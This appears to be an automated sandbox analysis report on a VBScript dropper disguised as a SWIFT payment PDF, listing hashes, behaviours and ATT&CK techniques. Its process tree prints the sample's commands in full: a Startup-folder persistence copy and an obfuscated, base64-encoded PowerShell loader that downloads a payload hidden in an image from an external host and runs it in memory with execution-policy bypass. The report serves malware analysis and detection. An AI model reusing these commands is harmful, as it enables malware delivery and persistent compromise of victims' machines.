62cd3c0fbbb28a44e83d0b403dea992fa9e0e25243ddeab961282de490f2b928

General

Target

SWIFT 103 202410071519130850 071024.pdf.vbs
Size

193KB
MD5

377669c2284f0c7020ff08d85250bd17
SHA1

a32a1e200df0818b9a3b8c156354406c0e3f8909
SHA256

62cd3c0fbbb28a44e83d0b403dea992fa9e0e25243ddeab961282de490f2b928
SHA512

c0fddbc341c92079427d8d55a0b3b9a2ac4c8a3b4790cf04dfad47d3715f510dd975b14cccd365077ed6e21628bd0911d98fa52ab2b58547e6c3f4f9012313f0
SSDEEP

3072:QSwp19rv+/CtALCVUwxgt5p7GwXvpiE6TLXnUXmaHNTjE:Qz79rmKeeuwFXnhQNT4

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600102.us.archive.org/32/items/detah-note-v_202410/DetahNote_V.jpg%20

exe.dropper

https://ia600102.us.archive.org/32/items/detah-note-v_202410/DetahNote_V.jpg%20

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1968	powershell.exe
6	1968	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3068	powershell.exe
2808	powershell.exe
1968	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nudicaule.vbs	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nudicaule.vbs	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2212	PING.EXE
436	cmd.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2212	PING.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3068	powershell.exe
2808	powershell.exe
1968	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	2808	powershell.exe
Token: SeDebugPrivilege	1968	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1848 wrote to memory of 436	1848	WScript.exe	30
PID 1848 wrote to memory of 436	1848	WScript.exe	30
PID 1848 wrote to memory of 436	1848	WScript.exe	30
PID 436 wrote to memory of 2212	436	cmd.exe	32
PID 436 wrote to memory of 2212	436	cmd.exe	32
PID 436 wrote to memory of 2212	436	cmd.exe	32
PID 436 wrote to memory of 3068	436	cmd.exe	33
PID 436 wrote to memory of 3068	436	cmd.exe	33
PID 436 wrote to memory of 3068	436	cmd.exe	33
PID 1848 wrote to memory of 2808	1848	WScript.exe	34
PID 1848 wrote to memory of 2808	1848	WScript.exe	34
PID 1848 wrote to memory of 2808	1848	WScript.exe	34
PID 2808 wrote to memory of 1968	2808	powershell.exe	36
PID 2808 wrote to memory of 1968	2808	powershell.exe	36
PID 2808 wrote to memory of 1968	2808	powershell.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SWIFT 103 202410071519130850 071024.pdf.vbs"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:1848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\SWIFT 103 202410071519130850 071024.pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.eluacidun.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:436
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\SWIFT 103 202410071519130850 071024.pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.eluacidun.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezF9aW1hZ2VVcmwgPSB7MH1odHRwczovL2lhNjAwMTAyLnVzLmFyY2hpdmUub3JnLzMyL2l0ZW1zL2RldGFoLW5vdGUtdl8yMDI0MTAvRGV0YWhOb3RlX1YuanBnIHsnKycwfTt7MX13ZWJDbGllbnQgPSBOZXctT2JqZWN0ICcrJ1N5c3RlbS5OZXQuV2ViQ2xpZW50O3sxfWltYWdlQnl0ZXMgPSB7MX13ZWJDbGknKydlbnQuRG93bmxvYWREYXRhKHsxfWltYScrJ2dlVXJsKTt7MX1pbWFnZVRleHQgPSBbU3lzdGUnKydtLlRleHQuRW5jb2RpbmddOjpVJysnVEY4LkdldFN0cmluZyh7MX1pbWFnZUJ5JysndGVzKTt7MScrJ31zdGFydEZsYWcgPSB7MH08PEJBU0U2NF9TVEFSVD4+ezB9O3sxfWVuZEZsYWcgPScrJyB7MH08PEJBU0U2NCcrJ19FTkQ+PnswfTt7MX1zdGFydEluZGV4ID0gezF9aW1hJysnZ2VUZXh0LkluZGV4T2YoezF9c3RhcnRGbGFnKTt7MX1lbmRJbmRleCA9IHsxfWltYWdlVGV4dC5JbmRleE9mKHsxfWVuZEZsYWcpO3sxfXN0YXJ0SW5kZXggLWdlIDAgLWFuZCB7MX1lbmRJbmRleCAtZ3QgezEnKyd9c3RhcnRJbmRleDt7MX1zdGFydEluZGV4JysnICs9IHsxfXN0YXJ0RmxhZy5MZW5ndGg7ezF9YmFzZTY0TGVuZ3RoID0gezF9ZScrJ25kSW5kZXggLScrJyB7MX1zdGFydEluZGV4O3sxfWJhc2U2NCcrJ0NvbScrJ21hbmQgPSB7MX1pJysnbWFnZScrJ1RleHQuU3Vic3RyaW5nJysnKHsxfXN0YXJ0SW5kZXgsIHsxfWJhc2U2NExlbmd0aCk7ezF9Y29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZScrJ3J0XTo6RnJvbUJhc2U2NFN0cmluZyh7MX1iYXNlNjRDb21tYW5kKTt7MX1sbycrJ2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoeycrJzF9Y29tbWFuZEJ5dGVzKTt7MX12YWlNZXRob2QnKycgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHswfVZBSXswfSk7ezF9dmFpTWV0aG9kLkknKydudm9rZSh7MX1udWxsLCBAKHswfTAnKycvWnV0Z1AnKycvZC8nKydlZS5ldHNhcC8vOnNwdHRoezB9JysnLCB7MH1kZXNhdGl2YWRvezB9LCB7MH1kZXNhdCcrJ2l2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH1BZGRJblByb2Nlc3MzMnswfSwgezB9ZGVzYXRpdmFkb3swfSwnKycgezB9ZGVzYXRpdmFkb3swfSkpOycpICAtRiAgW0NoQXJdMzksW0NoQXJdMzYpfC4gKCAkUFNob21FWzRdKyRwU0hPTWVbMzBdKyd4Jyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{1}imageUrl = {0}https://ia600102.us.archive.org/32/items/detah-note-v_202410/DetahNote_V.jpg {'+'0};{1}webClient = New-Object '+'System.Net.WebClient;{1}imageBytes = {1}webCli'+'ent.DownloadData({1}ima'+'geUrl);{1}imageText = [Syste'+'m.Text.Encoding]::U'+'TF8.GetString({1}imageBy'+'tes);{1'+'}startFlag = {0}<<BASE64_START>>{0};{1}endFlag ='+' {0}<<BASE64'+'_END>>{0};{1}startIndex = {1}ima'+'geText.IndexOf({1}startFlag);{1}endIndex = {1}imageText.IndexOf({1}endFlag);{1}startIndex -ge 0 -and {1}endIndex -gt {1'+'}startIndex;{1}startIndex'+' += {1}startFlag.Length;{1}base64Length = {1}e'+'ndIndex -'+' {1}startIndex;{1}base64'+'Com'+'mand = {1}i'+'mage'+'Text.Substring'+'({1}startIndex, {1}base64Length);{1}commandBytes = [System.Conve'+'rt]::FromBase64String({1}base64Command);{1}lo'+'adedAssembly = [System.Reflection.Assembly]::Load({'+'1}commandBytes);{1}vaiMethod'+' = [dnlib.IO.Home].GetMethod({0}VAI{0});{1}vaiMethod.I'+'nvoke({1}null, @({0}0'+'/ZutgP'+'/d/'+'ee.etsap//:sptth{0}'+', {0}desativado{0}, {0}desat'+'ivado{0}, {0}desativado{0}, {0}AddInProcess32{0}, {0}desativado{0},'+' {0}desativado{0}));') -F [ChAr]39,[ChAr]36)|. ( $PShomE[4]+$pSHOMe[30]+'x')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8b8873874af967e4aa26daff7a2c777c

SHA1
5d4828fd84fb63be6873744b0b7b271a63f2fe40

SHA256
40c0d4c551bbd84653c125df3d5403dad0d975a35a34c1de1c227e6c55bf0dd1

SHA512
af1563669b8ed983eb5a84fdd1b0ecd9dfb283af2da108a5fb0df8af36c15c23407321d66e7eef213b19b3658ed17c37a50f70d879ecbbfaa436e4d0f686863a

Download Submit
memory/2808-20-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2808-19-0x000000001B200000-0x000000001B4E2000-memory.dmp

Filesize
2.9MB

Download
memory/3068-7-0x00000000022A0000-0x00000000022A8000-memory.dmp

Filesize
32KB

Download
memory/3068-10-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/3068-12-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/3068-11-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/3068-13-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/3068-9-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/3068-5-0x000007FEF630E000-0x000007FEF630F000-memory.dmp

Filesize
4KB

Download
memory/3068-8-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/3068-6-0x000000001B210000-0x000000001B4F2000-memory.dmp

Filesize
2.9MB

Download

Analysis

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